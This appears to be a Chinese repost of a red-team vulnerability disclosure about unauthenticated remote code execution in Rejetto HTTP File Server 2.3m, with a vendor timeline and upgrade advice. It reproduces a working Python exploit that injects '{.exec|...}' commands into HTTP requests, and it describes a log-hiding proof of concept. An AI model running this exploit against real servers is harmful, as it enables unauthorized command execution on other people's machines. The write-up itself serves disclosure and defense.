Rejetto HTTP 文件服务器 2.3m 未经身份验证的 RCE

admin 2024年5月27日00:46:34评论29 views字数 1292阅读4分18秒阅读模式

Rejetto HTTP 文件服务器 2.3m 未经身份验证的 RCE

Rejetto HTTP 文件服务器

在红队评估期间,我偶然发现了一个神秘的网络应用程序:

Rejetto HTTP 文件服务器 2.3m 未经身份验证的 RCE

以下是我在 80/tcp 端口遇到的情况

该网络应用程序被确认为 Rejetto HFS,这是一个曾经流行的 Windows 网络服务器,于 2002 年 8 月首次发布。

通过快速在线搜索,我发现 2.3m 版本没有已知漏洞。然而,我惊讶地发现旧版本有大量 RCE!

import socket

url = raw_input("Enter URL : ")try:      while True:            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)            sock.connect((url, 80))            cmd = raw_input("Enter command (E.g. calc) or press Ctrl+C to exit : ")            req = "GET /?{.exec|"+cmd+".}"            req += " HTTP/1.1rnrn"            sock.send(req)            sock.close()            print "Done!"except KeyboardInterrupt:      print "Bye!"
在 ExploitDB 上发现了用于利用 HTTP 文件服务器 2.1.2 中的 RCE 的代码
“{.exec” 是什么?这是最早的已知模板注入之一吗?该软件似乎太旧了,不适合此类攻击,而且平台 Windows 也非常规。
困惑不已的我决定下载下来并分析到底发生了什么。我从官方网站获取了一个 exe 文件,并在 GitHub 上找到了源代码,结果发现它是用 Delphi 编写的。
未经身份验证的远程代码执行
当我在 GitHub 和 IDA Pro 上看到代码时,我惊讶不已。事实上,HFS 有自己的模板解析器,是同类中最古老的解析器之一。
此外,我只花了不到 10 分钟的时间就绕过了所有限制并在 2.3m 版本上执行了我的代码,该版本被标记为最新且稳定的版本!

Rejetto HTTP 文件服务器 2.3m 未经身份验证的 RCE

我决定发布删节版的截图

这有点困难,但最终我创建了一个 POC,它不仅可以执行代码,还可以返回输出并将自身隐藏在日志文件中(通过空字节)。请注意,Host 标头的值也被篡改了,这对于注入至关重要。

报告

我很遗憾地得知 Rejetto HTTP File Server 2.x 现已过时且不再受支持。在与 Massimo Melina 讨论后,我们得出结论,我们应该建议所有用户更新到 HFS 3。

时间线

18/08/2023 — Reported to the vendor

21/08/2023 — Reply received

24/05/2024 — Vendor informed about disclosure

24/05/2024 — Reply received

25/05/2024 — Article released

25/05/2024 — CVE Request 1671764

Rejetto HTTP File Server 2.3m Unauthenticated RCEhttps://mohemiv.com/all/rejetto-http-file-server-2-3m-unauthenticated-rce/

原文始发于微信公众号(Ots安全):Rejetto HTTP 文件服务器 2.3m 未经身份验证的 RCE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月27日00:46:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Rejetto HTTP 文件服务器 2.3m 未经身份验证的 RCEhttps://cn-sec.com/archives/2779694.html

发表评论

匿名网友 填写信息